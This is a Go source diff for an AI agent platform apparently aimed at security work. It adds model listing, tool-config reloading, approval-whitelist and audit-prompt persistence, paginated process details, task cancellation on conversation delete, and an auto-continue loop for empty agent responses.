+		c.JSON(http.StatusBadRequest, gin.H{"error": "API Key 不能为空"})
+		return
+	}
+
+	baseURL := strings.TrimSuffix(strings.TrimSpace(req.BaseURL), "/")
+	if baseURL == "" {
+		baseURL = "https://api.openai.com/v1"
+	}
+
+	tmpCfg := &config.OpenAIConfig{
+		Provider: provider,
+		BaseURL:  baseURL,
+		APIKey:   strings.TrimSpace(req.APIKey),
+	}
+	client := openai.NewClient(tmpCfg, nil, h.logger)
+
+	ctx, cancel := context.WithTimeout(c.Request.Context(), 30*time.Second)
+	defer cancel()
+
+	models, err := client.ListModels(ctx)
+	if err != nil {
+		if apiErr, ok := err.(*openai.APIError); ok {
+			c.JSON(http.StatusOK, gin.H{
+				"success":   false,
+				"supported": true,
+				"error":     fmt.Sprintf("API 返回错误 (HTTP %d): %s", apiErr.StatusCode, apiErr.Body),
+			})
+			return
+		}
+		c.JSON(http.StatusOK, gin.H{
+			"success":   false,
+			"supported": true,
+			"error":     err.Error(),
+		})
+		return
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"success":   true,
+		"supported": true,
+		"models":    models,
+		"count":     len(models),
+	})
+}
+
 // TestVisionRequest 测试 Vision 模型连接；vision.api_key/base_url 留空时可传 openai 段作回退。
 type TestVisionRequest struct {
 	Vision config.VisionConfig `json:"vision"`
@@ -1229,6 +1333,17 @@ func (h *ConfigHandler) ApplyConfig(c *gin.Context) {
 		h.logger.Info("已更新嵌入模型配置记录")
 	}
 
+	// 从 tools 目录重新加载工具配置（新增/修改/删除 yaml 后无需重启）
+	if err := config.ReloadSecurityToolsFromDir(h.config, h.configPath); err != nil {
+		h.logger.Error("重新加载工具配置失败", zap.Error(err))
+		if h.audit != nil {
+			h.audit.RecordFail(c, "config", "apply", "应用配置失败：重新加载工具", map[string]interface{}{"error": err.Error()})
+		}
+		c.JSON(http.StatusInternalServerError, gin.H{"error": "重新加载工具配置失败: " + err.Error()})
+		return
+	}
+	h.logger.Info("已从 tools 目录重新加载工具配置", zap.Int("tools_count", len(h.config.Security.Tools)))
+
 	// 重新注册工具（根据新的启用状态）
 	h.logger.Info("重新注册工具")
 
@@ -1498,8 +1613,6 @@ func updateAgentConfig(doc *yaml.Node, agent config.AgentConfig) {
 	agentNode := ensureMap(root, "agent")
 	setIntInMap(agentNode, "max_iterations", agent.MaxIterations)
 	setIntInMap(agentNode, "tool_timeout_minutes", agent.ToolTimeoutMinutes)
-	setIntInMap(agentNode, "large_result_threshold", agent.LargeResultThreshold)
-	setStringInMap(agentNode, "result_storage_dir", agent.ResultStorageDir)
 	setStringInMap(agentNode, "system_prompt_path", agent.SystemPromptPath)
 }
 
@@ -1653,6 +1766,20 @@ func mergeHitlToolWhitelistSlice(existing, add []string) []string {
 	return out
 }
 
+// SetHitlToolWhitelist 将全局免审批工具白名单整表写入 config.yaml（替换，非合并）。
+func (h *ConfigHandler) SetHitlToolWhitelist(tools []string) error {
+	h.mu.Lock()
+	defer h.mu.Unlock()
+	h.config.Hitl.ToolWhitelist = mergeHitlToolWhitelistSlice(nil, tools)
+	if err := h.saveConfig(); err != nil {
+		return err
+	}
+	h.logger.Info("HITL 全局工具白名单已写入配置文件",
+		zap.Int("count", len(h.config.Hitl.ToolWhitelist)),
+	)
+	return nil
+}
+
 // MergeHitlToolWhitelistIntoConfig 将会话侧栏提交的免审批工具名合并进内存配置并写入 config.yaml（与全局白名单去重规则一致：小写键、保留首次出现的原始大小写）。
 func (h *ConfigHandler) MergeHitlToolWhitelistIntoConfig(add []string) error {
 	h.mu.Lock()
@@ -1673,6 +1800,21 @@ func updateHitlConfig(doc *yaml.Node, cfg config.HitlConfig) {
 	hitlNode := ensureMap(root, "hitl")
 	// flow 样式 [a, b, c] 单行展示，工具多时比块序列省行数
 	setFlowStringSliceInMap(hitlNode, "tool_whitelist", cfg.ToolWhitelist)
+	setStringInMap(hitlNode, "audit_agent_prompt", cfg.AuditAgentPrompt)
+	setStringInMap(hitlNode, "audit_agent_prompt_review_edit", cfg.AuditAgentPromptReviewEdit)
+}
+
+// UpdateHitlAuditAgentStrategy 更新审批/审查编辑两套审计 Agent 提示词并写入 config.yaml。
+func (h *ConfigHandler) UpdateHitlAuditAgentStrategy(approvalPrompt, reviewEditPrompt string) error {
+	h.mu.Lock()
+	defer h.mu.Unlock()
+	h.config.Hitl.AuditAgentPrompt = strings.TrimSpace(approvalPrompt)
+	h.config.Hitl.AuditAgentPromptReviewEdit = strings.TrimSpace(reviewEditPrompt)
+	if err := h.saveConfig(); err != nil {
+		return err
+	}
+	h.logger.Info("HITL 审计 Agent 提示词已写入配置文件")
+	return nil
 }
 
 func updateRobotsConfig(doc *yaml.Node, cfg config.RobotsConfig) {
@@ -1906,50 +2048,52 @@ func setFloatInMap(mapNode *yaml.Node, key string, value float64) {
 }
 
 // getExternalMCPTools 获取外部MCP工具列表（公共方法）
-// 返回 ToolConfigInfo 列表，已处理启用状态和描述信息
 func (h *ConfigHandler) getExternalMCPTools(ctx context.Context) []ToolConfigInfo {
-	var result []ToolConfigInfo
-
 	if h.externalMCPMgr == nil {
+		return nil
+	}
+	return h.getExternalMCPToolsWithManager(ctx, h.externalMCPMgr, h.pickToolDescription)
+}
+
+// getExternalMCPToolsWithManager 获取外部 MCP 工具（不持有 config 锁，供 GetTools 等热路径使用）
+func (h *ConfigHandler) getExternalMCPToolsWithManager(
+	ctx context.Context,
+	mgr *mcp.ExternalMCPManager,
+	pickDesc func(shortDesc, fullDesc string) string,
+) []ToolConfigInfo {
+	var result []ToolConfigInfo
+	if mgr == nil {
 		return result
 	}
 
-	// 使用较短的超时时间（5秒）进行快速失败，避免阻塞页面加载
 	timeoutCtx, cancel := context.WithTimeout(ctx, 5*time.Second)
 	defer cancel()
 
-	externalTools, err := h.externalMCPMgr.GetAllTools(timeoutCtx)
+	externalTools, err := mgr.GetAllTools(timeoutCtx)
 	if err != nil {
-		// 记录警告但不阻塞，继续返回已缓存的工具（如果有）
 		h.logger.Warn("获取外部MCP工具失败（可能连接断开），尝试返回缓存的工具",
 			zap.Error(err),
 			zap.String("hint", "如果外部MCP工具未显示，请检查连接状态或点击刷新按钮"),
 		)
 	}
 
-	// 如果获取到了工具（即使有错误），继续处理
 	if len(externalTools) == 0 {
 		return result
 	}
 
-	externalMCPConfigs := h.externalMCPMgr.GetConfigs()
+	externalMCPConfigs := mgr.GetConfigs()
 
 	for _, externalTool := range externalTools {
-		// 解析工具名称：mcpName::toolName
 		mcpName, actualToolName := h.parseExternalToolName(externalTool.Name)
 		if mcpName == "" || actualToolName == "" {
-			continue // 跳过格式不正确的工具
+			continue
 		}
 
-		// 计算启用状态
-		enabled := h.calculateExternalToolEnabled(mcpName, actualToolName, externalMCPConfigs)
-
-		// 处理描述信息
-		description := h.pickToolDescription(externalTool.ShortDescription, externalTool.Description)
+		enabled := h.calculateExternalToolEnabledWithManager(mcpName, actualToolName, externalMCPConfigs, mgr)
 
 		result = append(result, ToolConfigInfo{
 			Name:        actualToolName,
-			Description: description,
+			Description: pickDesc(externalTool.ShortDescription, externalTool.Description),
 			Enabled:     enabled,
 			IsExternal:  true,
 			ExternalMCP: mcpName,
@@ -1970,40 +2114,48 @@ func (h *ConfigHandler) parseExternalToolName(fullName string) (mcpName, toolNam
 
 // calculateExternalToolEnabled 计算外部工具的启用状态
 func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool {
+	return h.calculateExternalToolEnabledWithManager(mcpName, toolName, configs, h.externalMCPMgr)
+}
+
+func (h *ConfigHandler) calculateExternalToolEnabledWithManager(
+	mcpName, toolName string,
+	configs map[string]config.ExternalMCPServerConfig,
+	mgr *mcp.ExternalMCPManager,
+) bool {
 	cfg, exists := configs[mcpName]
 	if !exists {
 		return false
 	}
 
-	// 首先检查外部MCP是否启用
 	if !cfg.ExternalMCPEnable {
-		return false // MCP未启用，所有工具都禁用
+		return false
 	}
 
-	// MCP已启用，检查单个工具的启用状态
-	// 如果ToolEnabled为空或未设置该工具，默认为启用（向后兼容）
-	if cfg.ToolEnabled == nil {
-		// 未设置工具状态，默认为启用
-	} else if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists {
-		// 使用配置的工具状态
-		if !toolEnabled {
+	if cfg.ToolEnabled != nil {
+		if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists && !toolEnabled {
 			return false
 		}
 	}
-	// 工具未在配置中，默认为启用
 
-	// 最后检查外部MCP是否已连接
-	client, exists := h.externalMCPMgr.GetClient(mcpName)
+	if mgr == nil {
+		return false
+	}
+	client, exists := mgr.GetClient(mcpName)
 	if !exists || !client.IsConnected() {
-		return false // 未连接时视为禁用
+		return false
 	}
 
 	return true
 }
 
-// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度
+// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度。
+// 调用方若已持有 h.mu 读锁，须直接读 mode 并调用 pickToolDescriptionWithMode，避免嵌套 RLock 死锁。
 func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
-	useFull := strings.TrimSpace(strings.ToLower(h.config.Security.ToolDescriptionMode)) == "full"
+	return pickToolDescriptionWithMode(h.config.Security.ToolDescriptionMode, shortDesc, fullDesc)
+}
+
+func pickToolDescriptionWithMode(mode, shortDesc, fullDesc string) string {
+	useFull := strings.TrimSpace(strings.ToLower(mode)) == "full"
 	description := shortDesc
 	if useFull {
 		description = fullDesc
@@ -2018,23 +2170,22 @@ func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
 
 // GetToolSchema 获取单个工具的 inputSchema（按需加载，避免列表接口返回大量 schema 数据）
 func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
-	h.mu.RLock()
-	defer h.mu.RUnlock()
-
 	toolName := c.Param("name")
 	if toolName == "" {
 		c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"})
 		return
 	}
 
-	// 检查是否为外部工具（格式：mcpName::toolName）
 	externalMCP := c.Query("external_mcp")
 	if externalMCP != "" {
-		// 外部 MCP 工具
-		if h.externalMCPMgr != nil {
+		h.mu.RLock()
+		externalMCPMgr := h.externalMCPMgr
+		h.mu.RUnlock()
+
+		if externalMCPMgr != nil {
 			ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
 			defer cancel()
-			externalTools, _ := h.externalMCPMgr.GetAllTools(ctx)
+			externalTools, _ := externalMCPMgr.GetAllTools(ctx)
 			fullName := externalMCP + "::" + toolName
 			for _, t := range externalTools {
 				if t.Name == fullName {
@@ -2047,8 +2198,12 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
 		return
 	}
 
-	// 内部工具：从 YAML 配置的 Parameters 构建
-	for _, tool := range h.config.Security.Tools {
+	h.mu.RLock()
+	securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
+	mcpServer := h.mcpServer
+	h.mu.RUnlock()
+
+	for _, tool := range securityTools {
 		if tool.Name == toolName {
 			c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)})
 			return
@@ -2056,8 +2211,8 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
 	}
 
 	// MCP 注册工具（如知识检索）
-	if h.mcpServer != nil {
-		for _, mt := range h.mcpServer.GetAllTools() {
+	if mcpServer != nil {
+		for _, mt := range mcpServer.GetAllTools() {
 			if mt.Name == toolName {
 				c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema})
 				return

internal/handler/conversation.go

@@ -12,11 +12,17 @@ import (
 	"go.uber.org/zap"
 )
 
+// ConversationTaskStopper cancels in-flight agent work when a conversation is removed.
+type ConversationTaskStopper interface {
+	CancelRunningTaskForConversation(conversationID string)
+}
+
 // ConversationHandler 对话处理器
 type ConversationHandler struct {
-	db     *database.DB
-	logger *zap.Logger
-	audit  *audit.Service
+	db          *database.DB
+	logger      *zap.Logger
+	audit       *audit.Service
+	taskStopper ConversationTaskStopper
 }
 
 // SetAudit wires platform audit logging.
@@ -24,6 +30,11 @@ func (h *ConversationHandler) SetAudit(s *audit.Service) {
 	h.audit = s
 }
 
+// SetTaskStopper wires cancellation of in-flight agent tasks on conversation delete.
+func (h *ConversationHandler) SetTaskStopper(stopper ConversationTaskStopper) {
+	h.taskStopper = stopper
+}
+
 // NewConversationHandler 创建新的对话处理器
 func NewConversationHandler(db *database.DB, logger *zap.Logger) *ConversationHandler {
 	return &ConversationHandler{
@@ -92,6 +103,7 @@ func (h *ConversationHandler) ListConversations(c *gin.Context) {
 	limitStr := c.DefaultQuery("limit", "50")
 	offsetStr := c.DefaultQuery("offset", "0")
 	search := c.Query("search") // 获取搜索参数
+	projectID := strings.TrimSpace(c.Query("project_id"))
 
 	limit, _ := strconv.Atoi(limitStr)
 	offset, _ := strconv.Atoi(offsetStr)
@@ -103,21 +115,22 @@ func (h *ConversationHandler) ListConversations(c *gin.Context) {
 		limit = 1000
 	}
 
-	excludeGrouped := strings.TrimSpace(search) == "" &&
+	excludeGrouped := strings.TrimSpace(search) == "" && projectID == "" &&
 		(c.Query("exclude_grouped") == "true" || c.Query("exclude_grouped") == "1")
+	sortBy := strings.TrimSpace(c.Query("sort_by"))
 
 	var conversations []*database.Conversation
 	var total int
 	var err error
 	if excludeGrouped {
-		conversations, err = h.db.ListUngroupedConversations(limit, offset)
+		conversations, err = h.db.ListUngroupedConversations(limit, offset, sortBy, projectID)
 		if err == nil {
-			total, err = h.db.CountUngroupedConversations()
+			total, err = h.db.CountUngroupedConversations(projectID)
 		}
 	} else {
-		conversations, err = h.db.ListConversations(limit, offset, search)
+		conversations, err = h.db.ListConversations(limit, offset, search, sortBy, projectID)
 		if err == nil {
-			total, err = h.db.CountConversations(search)
+			total, err = h.db.CountConversations(search, projectID)
 		}
 	}
 	if err != nil {
@@ -164,6 +177,9 @@ func (h *ConversationHandler) GetConversation(c *gin.Context) {
 }
 
 // GetMessageProcessDetails 获取指定消息的过程详情（按需加载）
+// 查询参数：
+//   - summary=1：仅返回摘要（total / iterationCount / maxIteration）
+//   - limit + offset：分页返回 processDetails（未指定 limit 时保持全量兼容）
 func (h *ConversationHandler) GetMessageProcessDetails(c *gin.Context) {
 	messageID := c.Param("id")
 	if messageID == "" {
@@ -171,6 +187,51 @@ func (h *ConversationHandler) GetMessageProcessDetails(c *gin.Context) {
 		return
 	}
 
+	summaryStr := strings.TrimSpace(c.Query("summary"))
+	if summaryStr == "1" || strings.EqualFold(summaryStr, "true") || strings.EqualFold(summaryStr, "yes") {
+		summary, err := h.db.GetProcessDetailsSummary(messageID)
+		if err != nil {
+			h.logger.Error("获取过程详情摘要失败", zap.Error(err))
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+			return
+		}
+		c.JSON(http.StatusOK, gin.H{"summary": summary})
+		return
+	}
+
+	limitStr := strings.TrimSpace(c.Query("limit"))
+	if limitStr != "" {
+		limit, err := strconv.Atoi(limitStr)
+		if err != nil || limit <= 0 {
+			c.JSON(http.StatusBadRequest, gin.H{"error": "invalid limit"})
+			return
+		}
+		if limit > 500 {
+			limit = 500
+		}
+		offset, _ := strconv.Atoi(strings.TrimSpace(c.Query("offset")))
+		if offset < 0 {
+			offset = 0
+		}
+
+		details, total, err := h.db.GetProcessDetailsPage(messageID, limit, offset)
+		if err != nil {
+			h.logger.Error("分页获取过程详情失败", zap.Error(err))
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+			return
+		}
+		details = database.DedupeConsecutiveProcessDetails(details)
+		out := processDetailsToJSON(h.logger, details)
+		c.JSON(http.StatusOK, gin.H{
+			"processDetails": out,
+			"total":          total,
+			"offset":         offset,
+			"limit":          limit,
+			"hasMore":        offset+len(out) < total,
+		})
+		return
+	}
+
 	details, err := h.db.GetProcessDetails(messageID)
 	if err != nil {
 		h.logger.Error("获取过程详情失败", zap.Error(err))
@@ -179,14 +240,17 @@ func (h *ConversationHandler) GetMessageProcessDetails(c *gin.Context) {
 	}
 
 	details = database.DedupeConsecutiveProcessDetails(details)
+	out := processDetailsToJSON(h.logger, details)
+	c.JSON(http.StatusOK, gin.H{"processDetails": out, "total": len(out)})
+}
 
-	// 转换为前端期望的 JSON 结构（与 GetConversation 中 processDetails 结构一致）
+func processDetailsToJSON(logger *zap.Logger, details []database.ProcessDetail) []map[string]interface{} {
 	out := make([]map[string]interface{}, 0, len(details))
 	for _, d := range details {
 		var data interface{}
 		if d.Data != "" {
 			if err := json.Unmarshal([]byte(d.Data), &data); err != nil {
-				h.logger.Warn("解析过程详情数据失败", zap.Error(err))
+				logger.Warn("解析过程详情数据失败", zap.Error(err))
 			}
 		}
 		out = append(out, map[string]interface{}{
@@ -199,8 +263,7 @@ func (h *ConversationHandler) GetMessageProcessDetails(c *gin.Context) {
 			"createdAt":      d.CreatedAt,
 		})
 	}
-
-	c.JSON(http.StatusOK, gin.H{"processDetails": out})
+	return out
 }
 
 // UpdateConversationRequest 更新对话请求
@@ -244,6 +307,10 @@ func (h *ConversationHandler) UpdateConversation(c *gin.Context) {
 func (h *ConversationHandler) DeleteConversation(c *gin.Context) {
 	id := c.Param("id")
 
+	if h.taskStopper != nil {
+		h.taskStopper.CancelRunningTaskForConversation(id)
+	}
+
 	if err := h.db.DeleteConversation(id); err != nil {
 		h.logger.Error("删除对话失败", zap.Error(err))
 		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})

internal/handler/conversation_delete_task_test.go

@@ -0,0 +1,30 @@
+package handler
+
+import (
+	"context"
+	"testing"
+	"time"
+
+	"go.uber.org/zap"
+)
+
+func TestConversationHandlerDeleteConversationCancelsRunningTask(t *testing.T) {
+	tm := NewAgentTaskManager()
+	ctx, cancel := context.WithCancelCause(context.Background())
+	_, err := tm.StartTask("conv-1", "hello", cancel)
+	if err != nil {
+		t.Fatalf("StartTask: %v", err)
+	}
+
+	h := &AgentHandler{tasks: tm, logger: zap.NewNop()}
+	h.CancelRunningTaskForConversation("conv-1")
+
+	select {
+	case <-ctx.Done():
+	case <-time.After(2 * time.Second):
+		t.Fatal("task context was not cancelled")
+	}
+	if cause := context.Cause(ctx); cause != ErrTaskCancelled {
+		t.Fatalf("expected ErrTaskCancelled, got %v", cause)
+	}
+}

internal/handler/eino_empty_response_continue.go

@@ -0,0 +1,83 @@
+package handler
+
+import (
+	"context"
+	"fmt"
+	"time"
+
+	"cyberstrike-ai/internal/agent"
+	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/multiagent"
+
+	"go.uber.org/zap"
+)
+
+// rebindEinoRunningTask 中断并继续 / 空正文续跑：重建 cancel 链与超时 ctx，保持任务 running。
+func (h *AgentHandler) rebindEinoRunningTask(conversationID string, timeoutCancel context.CancelFunc) (context.Context, context.CancelCauseFunc, context.Context, context.CancelFunc) {
+	if timeoutCancel != nil {
+		timeoutCancel()
+	}
+	baseCtx, cancelWithCause := context.WithCancelCause(context.Background())
+	h.tasks.BindTaskCancel(conversationID, cancelWithCause)
+	taskCtx, newTimeoutCancel := context.WithTimeout(baseCtx, 600*time.Minute)
+	h.tasks.UpdateTaskStatus(conversationID, "running")
+	return baseCtx, cancelWithCause, taskCtx, newTimeoutCancel
+}
+
+// tryContinueOnEinoEmptyResponse Run 成功但 Response 为 emptyHint 时退避续跑；true 表示已准备下一段 Run。
+func (h *AgentHandler) tryContinueOnEinoEmptyResponse(
+	taskCtx context.Context,
+	mw *config.MultiAgentEinoMiddlewareConfig,
+	conversationID string,
+	result *multiagent.RunResult,
+	attempt *int,
+	curHistory *[]agent.ChatMessage,
+	curFinalMessage *string,
+	progressCallback func(eventType, message string, data interface{}),
+) bool {
+	if result == nil || !multiagent.IsEinoEmptyResponseResult(result) || !multiagent.HasEinoResumeTrace(result) {
+		return false
+	}
+	maxAttempts := multiagent.EmptyResponseContinueMaxAttemptsFromConfig(mw)
+	if *attempt >= maxAttempts {
+		if h.logger != nil {
+			h.logger.Warn("eino empty response continue exhausted",
+				zap.String("conversationId", conversationID),
+				zap.Int("maxAttempts", maxAttempts))
+		}
+		return false
+	}
+	*attempt++
+	h.persistEinoAgentTraceForResume(conversationID, result)
+
+	backoff := multiagent.EmptyResponseContinueBackoff(*attempt-1, mw)
+	waitMsg := fmt.Sprintf("会话已结束但未捕获到助手正文，%d 秒后第 %d/%d 次自动续跑…",
+		int(backoff.Seconds()), *attempt, maxAttempts)
+	if progressCallback != nil {
+		progressCallback("eino_empty_response_continue", waitMsg, map[string]interface{}{
+			"conversationId": conversationID,
+			"source":         "eino",
+			"attempt":        *attempt,
+			"maxAttempts":    maxAttempts,
+			"backoffSec":     int(backoff.Seconds()),
+		})
+	}
+	select {
+	case <-taskCtx.Done():
+		return false
+	case <-time.After(backoff):
+	}
+
+	inject := multiagent.FormatEmptyResponseContinueUserMessage()
+	h.applyEinoTraceResumeSegment(conversationID, result, curHistory, curFinalMessage, inject)
+	if progressCallback != nil {
+		progressCallback("eino_empty_response_continue", "已恢复上下文，正在续跑…", map[string]interface{}{
+			"conversationId": conversationID,
+			"source":         "eino",
+			"attempt":        *attempt,
+			"maxAttempts":    maxAttempts,
+			"contextSource":  "empty_response_continue",
+		})
+	}
+	return true
+}

internal/handler/eino_resume_segment.go

@@ -2,29 +2,11 @@ package handler
 
 import (
 	"context"
-	"errors"
-	"fmt"
-	"strings"
-	"time"
 
 	"cyberstrike-ai/internal/agent"
 	"cyberstrike-ai/internal/multiagent"
 )
 
-func (h *AgentHandler) einoRunRetryMaxAttempts() int {
-	if h.config != nil {
-		return multiagent.RunRetryMaxAttemptsFromConfig(&h.config.MultiAgent.EinoMiddleware)
-	}
-	return multiagent.RunRetryMaxAttemptsFromConfig(nil)
-}
-
-func (h *AgentHandler) einoRunRetryMaxBackoffSec() int {
-	if h.config != nil && h.config.MultiAgent.EinoMiddleware.RunRetryMaxBackoffSec > 0 {
-		return h.config.MultiAgent.EinoMiddleware.RunRetryMaxBackoffSec
-	}
-	return 0
-}
-
 // applyEinoTraceResumeSegment 中断并继续：persist last_react_* → loadHistory，可选替换下一段 user 文案。
 func (h *AgentHandler) applyEinoTraceResumeSegment(
 	conversationID string,
@@ -43,80 +25,3 @@ func (h *AgentHandler) applyEinoTraceResumeSegment(
 		*curFinalMessage = segmentUserMessage
 	}
 }
-
-// applyEinoTransientRetrySegment 临时错误重试：恢复轨迹并保留本请求原始 user 文案（不注入续跑说明）。
-// segmentUserMessage 为本轮 HTTP 请求开始时用户发送的内容，避免因清空 finalMessage 而丢失「你好」等短句。
-func (h *AgentHandler) applyEinoTransientRetrySegment(
-	conversationID string,
-	result *multiagent.RunResult,
-	curHistory *[]agent.ChatMessage,
-	curFinalMessage *string,
-	segmentUserMessage string,
-) {
-	if shouldPersistEinoAgentTraceAfterRunError(context.Background()) {
-		h.persistEinoAgentTraceForResume(conversationID, result)
-	}
-	if hist, err := h.loadHistoryFromAgentTrace(conversationID); err == nil && len(hist) > 0 {
-		*curHistory = hist
-	}
-	if s := strings.TrimSpace(segmentUserMessage); s != "" {
-		*curFinalMessage = segmentUserMessage
-	}
-}
-
-// handleEinoTransientRetryContinue 在 SSE 任务循环内处理临时错误重试；返回 true 表示外层 for 应 continue。
-func (h *AgentHandler) handleEinoTransientRetryContinue(
-	baseCtx context.Context,
-	conversationID string,
-	result *multiagent.RunResult,
-	runErr error,
-	transientAttempts *int,
-	curHistory *[]agent.ChatMessage,
-	curFinalMessage *string,
-	segmentUserMessage string,
-	progressCallback func(eventType, message string, data interface{}),
-	sendProgress func(msg string, extra map[string]interface{}),
-) (handled bool, fatal error) {
-	if !errors.Is(runErr, multiagent.ErrTransientRetryContinue) {
-		return false, nil
-	}
-	maxAttempts := h.einoRunRetryMaxAttempts()
-	*transientAttempts++
-	if *transientAttempts > maxAttempts {
-		if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
-			h.persistEinoAgentTraceForResume(conversationID, result)
-		}
-		return false, errors.New("transient retry exhausted: " + runErr.Error())
-	}
-	attemptNo := *transientAttempts
-	backoff := multiagent.TransientRetryBackoff(attemptNo-1, h.einoRunRetryMaxBackoffSec())
-	if progressCallback != nil {
-		progressCallback("eino_run_retry", fmt.Sprintf("遇到临时错误，%d 秒后第 %d/%d 次重试…", int(backoff.Seconds()), attemptNo, maxAttempts), map[string]interface{}{
-			"conversationId": conversationID,
-			"source":         "eino",
-			"attempt":        attemptNo,
-			"maxAttempts":    maxAttempts,
-			"backoffSec":     int(backoff.Seconds()),
-		})
-	}
-	select {
-	case <-baseCtx.Done():
-		return false, context.Cause(baseCtx)
-	case <-time.After(backoff):
-	}
-	h.applyEinoTransientRetrySegment(conversationID, result, curHistory, curFinalMessage, segmentUserMessage)
-	if progressCallback != nil {
-		progressCallback("eino_run_retry", "已恢复上下文，正在重试…", map[string]interface{}{
-			"conversationId": conversationID,
-			"source":         "eino",
-			"attempt":        attemptNo,
-		})
-	}
-	if sendProgress != nil {
-		sendProgress("正在重试…", map[string]interface{}{
-			"conversationId": conversationID,
-			"source":         "transient_retry",
-		})
-	}
-	return true, nil
-}

internal/handler/eino_single_agent.go

@@ -119,7 +119,6 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 
 	var cancelWithCause context.CancelCauseFunc
 	curFinalMessage := prep.FinalMessage
-	segmentUserMessage := prep.FinalMessage // 本请求原始用户句，临时重试时不得丢失
 	curHistory := prep.History
 	roleTools := prep.RoleTools
 
@@ -177,9 +176,9 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 	taskOwned = true
 
 	var cumulativeMCPExecutionIDs []string
-	var transientRunAttempts int
 	// 同一请求内分段续跑时，主代理 iteration 事件按偏移累计，避免 UI 出现「第3轮 → 第1轮」回跳。
 	var mainIterationOffset int
+	var emptyResponseContinueAttempt int
 
 	for {
 		segmentMainIterationMax := 0
@@ -214,6 +213,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 		}
 		taskCtxLoop := mcp.WithMCPConversationID(taskCtx, conversationID)
 		taskCtxLoop = mcp.WithToolRunRegistry(taskCtxLoop, h.tasks)
+		taskCtxLoop = mcp.WithEinoExecuteRunRegistry(taskCtxLoop, h.tasks)
 		taskCtxLoop = multiagent.WithHITLToolInterceptor(taskCtxLoop, func(ctx context.Context, toolName, arguments string) (string, error) {
 			return h.interceptHITLForEinoTool(ctx, cancelWithCause, conversationID, assistantMessageID, sendEvent, toolName, arguments)
 		})
@@ -223,14 +223,16 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 			h.config,
 			&h.config.MultiAgent,
 			h.agent,
+			h.db,
 			h.logger,
 			conversationID,
+			h.conversationProjectID(conversationID),
 			curFinalMessage,
 			curHistory,
 			roleTools,
 			progressCallback,
 			chatReasoningToClientIntent(req.Reasoning),
-			h.projectBlackboardBlock(conversationID),
+			h.agentSessionContextBlock(conversationID),
 		)
 
 		if result != nil && len(result.MCPExecutionIDs) > 0 {
@@ -238,30 +240,17 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 		}
 
 		if runErr == nil {
-			// 任一段成功完成后，重置临时错误重试窗口（次数/退避从头开始）。
-			transientRunAttempts = 0
+			mw := &h.config.MultiAgent.EinoMiddleware
+			if h.tryContinueOnEinoEmptyResponse(taskCtx, mw, conversationID, result, &emptyResponseContinueAttempt, &curHistory, &curFinalMessage, progressCallback) {
+				mainIterationOffset += segmentMainIterationMax
+				timeoutCancel()
+				baseCtx, cancelWithCause, taskCtx, timeoutCancel = h.rebindEinoRunningTask(conversationID, timeoutCancel)
+				continue
+			}
 			timeoutCancel()
 			break
 		}
 
-		handled, fatalErr := h.handleEinoTransientRetryContinue(
-			baseCtx, conversationID, result, runErr, &transientRunAttempts,
-			&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
-			func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
-		)
-		if handled {
-			mainIterationOffset += segmentMainIterationMax
-			timeoutCancel()
-			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
-			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
-			taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
-			h.tasks.UpdateTaskStatus(conversationID, "running")
-			continue
-		}
-		if fatalErr != nil {
-			runErr = fatalErr
-		}
-
 		cause := context.Cause(baseCtx)
 		if errors.Is(cause, multiagent.ErrInterruptContinue) {
 			if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
@@ -286,8 +275,6 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
 				"source":         "interrupt_continue",
 			})
 			mainIterationOffset += segmentMainIterationMax
-			// 非临时错误分段续跑（用户中断并继续）时，清空 transient 计数，避免跨分段累加。
-			transientRunAttempts = 0
 			timeoutCancel()
 			baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
 			h.tasks.BindTaskCancel(conversationID, cancelWithCause)
@@ -418,21 +405,30 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
 		return
 	}
 
-	result, runErr := multiagent.RunEinoSingleChatModelAgent(
-		taskCtx,
-		h.config,
-		&h.config.MultiAgent,
-		h.agent,
-		h.logger,
-		prep.ConversationID,
-		prep.FinalMessage,
-		prep.History,
-		prep.RoleTools,
-		progressCallback,
-		chatReasoningToClientIntent(req.Reasoning),
-		h.projectBlackboardBlock(prep.ConversationID),
-	)
-	if runErr != nil {
+	curHist := prep.History
+	curMsg := prep.FinalMessage
+	var result *multiagent.RunResult
+	var runErr error
+	for {
+		result, runErr = multiagent.RunEinoSingleChatModelAgent(
+			taskCtx,
+			h.config,
+			&h.config.MultiAgent,
+			h.agent,
+			h.db,
+			h.logger,
